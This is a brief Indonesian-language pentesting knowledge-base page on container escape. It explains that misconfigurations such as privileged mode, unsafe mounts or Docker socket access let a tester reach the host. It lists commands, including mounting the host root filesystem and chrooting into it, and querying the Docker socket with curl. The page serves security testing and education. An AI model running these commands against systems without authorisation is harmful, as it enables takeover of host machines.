View Categories

Container Escape

< 1 min read

# Container Escape

Container escape adalah teknik untuk keluar dari lingkungan container dan mendapatkan akses ke host yang menjalankannya. Celah ini terjadi ketika konfigurasi container memberikan permission berlebihan, seperti privileged mode, volume mounting yang tidak aman, atau akses langsung ke runtime API. Dengan memanfaatkan kondisi ini, pentester dapat menjalankan perintah di host, memodifikasi file, atau memperoleh kontrol penuh terhadap node.

Teknik container escape penting dalam pengujian lingkungan berbasis Docker, Kubernetes, atau container runtime lain. Walaupun container dirancang untuk isolasi, konfigurasi yang salah dapat membuatnya setara dengan akses langsung ke mesin host.

“`bash
docker ps -a
docker inspect <container>
docker exec -it <container> /bin/bash
cat /proc/1/cgroup
docker run -v /:/host -it alpine chroot /host /bin/sh
curl –unix-socket /run/docker.sock http://localhost/containers/json
kubectl get pods
kubectl exec -it <pod> — sh
“`

Powered by BetterDocs

Leave a Reply

Your email address will not be published. Required fields are marked *